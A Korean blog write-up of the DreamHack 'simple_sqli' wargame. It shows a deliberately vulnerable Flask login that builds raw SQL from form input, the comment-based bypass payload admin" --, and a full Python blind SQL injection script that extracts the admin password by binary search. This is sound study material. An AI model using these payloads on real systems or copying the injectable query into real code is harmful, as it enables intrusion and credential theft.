[WARGAME] DreamHack 웹해킹1 로드맵 / wargame simple_sqli(SQL_Injection,Blind_SQL_Injection)

jckim22·2022년 10월 14일
0

이번 문제는 로그인 방법을 우회하는 sql_injection이나 admin psswd를 알아내는 blind_sql_injection을 사용하여 flag를 쟁취할 수 있다.

먼저 SQL_injection으로 알아보자
아래는 서버의 코드이다.
먼저 유심히 봐야할 것은 /login페이지에서 유저에게 데이터를 어떤식으로 받는지에 대한 것이다.
보면 login.html을 통해 유저는 POST요청으로 로그인 비밀번호를 보낸다.

하지만 굉장히 취약한 부분이 있다.
서버측에서 받은 데이터를 필터링 없이 RAWquery로 바로 사용한다는 것이다.
이것은 SQLInjection을 마음껏 사용해달라는 의미와 똑같다.

#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

아래 쿼리문을 보면서 어떤식으로 sql문을 삽입하면 로그인이될까 생각해보았다.
or문을 사용해서 어떤 조건식이 와도 로그인되게 하는방법이 있겠지만 더 간단한 주석처리를 사용하였다.
admin" -- 를 대입하면 userid가 admin인 계정을 찾아달라는 의미와 함께 뒤에 있는 코드가 주석처리 되면서 힘이 사라지게 된다.
그렇게 되면 userid가 admin인 계정을 찾게 되고 그렇게 로그인에 성공하게 되며

select * from users where userid="{userid}" and userpassword="{userpassword}"

이렇게 flag를 얻을 수 있다.

이제 passwd를 직접 알아보는 blind_sql_injection 공격을 해보자
내가 해야할 것은 자동화 스크립트로 먼저 admin passwd의 길이를 알아내고 그 길이만큼 반복하면서 하나씩 구해내는 것이다.

좋은 자동화 스크립트가 있었고 그걸 한 줄씩 이해한 후 다시 내가 짜보았다.

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin


class Solver:

    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:18214/{port}"
        self._login_url = urljoin(self._chall_url, "login")

    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        res = requests.post(self._login_url, data=login_data)
        return res

    def _sqli(self, query: str) -> requests.Response:
        res = self._login(f"\" or {query}-- ", "hi")
        return res

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            
            mid = (low+high)//2
            if(low+1>=high):
                break
            query = query_tmpl.format(val=mid)
            if ("hello" in self._sqli(query).text):
                high = mid
                # print("값이 mid보다 작습니다")
            else:
                low = mid
                # print("값이 mid보다 큽니다")
        return mid

    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmp = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmp, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for i in range(1, pw_len+1):
            query_tmpl = f"((SELECT SUBSTR(userpassword,{i},1) WHERE userid=\"{user}\")<CHAR({{val}}))"
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))

            print(pw)

        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"비밀번호의 길이: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"비밀번호는: {pw}")


if __name__ == "__main__":
    port = 18214
    solver = Solver(port)
    solver.solve()

1.이 코드를 해석해보면 타겟 사이트에 접속한 뒤 slove함수에서 먼저 find_password_length() 함수를 통해 비밀번호의 길이를 알아낸다.
2.함수로 더 들어가 보면 먼저 최대 비밀번호 길이를 100으로 잡은다음 admin이라는 유저 id를 매개변수로 받는다.
3.그 후 admin 유저 아이디의 비밀번호의 길이를 받는 쿼리문과 low인 0과 high인 100을 이진 탐색 함수에게 인자로 보낸다.
4.이진 탐색을 할 때 if "hello" in self._sqli(query).text: 라는 if문에서 참이면 큰 쪽으로 반을 가르고 거짓이면 mid를 high로 해서 반으로 작게한다.
5.여기서 어떻게 hello의 유무로 반을 가를 수 있는지는 삽입된 커리문과 서버 코드의 /login페이지에서 알 수 있다.
6.이진탐색 함수에서 _sqli()함수로 쿼리문을 보낸다.
7.그 쿼리문은 val이 mid로 포맷되어서 가기 때문에 "패스워드의 길이가 mid보다 작다" 라는 조건식이다.
8.그 후 인젝션이 될 수 있게 앞에 "와 뒤에 -- 라는 주석이 달린 상태로 _login 함수에 보내진다.
9.그 곳에서는 그 인젝션문을 userid로 받아서 객체로 서버에 post요청을 한다.
10.말 그대로 로그인을 한다는 것이다.
11.그렇게 되면 서버의 데이터베이스에서는 이런 sql이 작동한다.

res = query_db(f'select * from users where userid="" or (SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}}"')

12.이런 쿼리문이 되는데 해석해보면 userid가 ""이거나 admin의 패스워드의 길이가 mid보다 작을 때 쿼리문이 true가 나오는 코드가 된다.
13.userid가 ""인건 false고 결국 후자의 식이 참이여야 es가 참이 되어 로그인에 성공할 것이다.
14.로그인에 성공 했다는 것은 password의 length가 mid보다 작다는 것이기 때문에 hello가 먼저 출력되고 다시 solve로 돌아와서 hello가 실행 되었기 때문에 mid가 high가 되고 다시 똑같이 반복하게 되는 것이다.
15.그렇게 하다보면 결국 low+1이 high보다 커지는 순간, 즉 mid가 length가 되는 순간이 오는 것이다.
16.그 후 mid(length)를 리턴한다.
17.이제 그 length 길이만큼 반복하여 패스워드를 찾게 된다.
18.길이를 찾을 때와 다른 것은 숫자 대신 아스키코드를 사용하여 문자로 low,high를 정하고 찾을 때마다 passwd에 그 찾은 문자들을 담아주는 것이다.
19.길이를 구할 때와 쿼리문만 조금 다르지 원리는 똑같다.
20.그렇게 반복하게 되면 아래처럼 admin의 passwd를 얻을 수 있다.

21.그 패스워드를 갖고 브라우저에 가서 로그인하면

22,성공적으로 flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글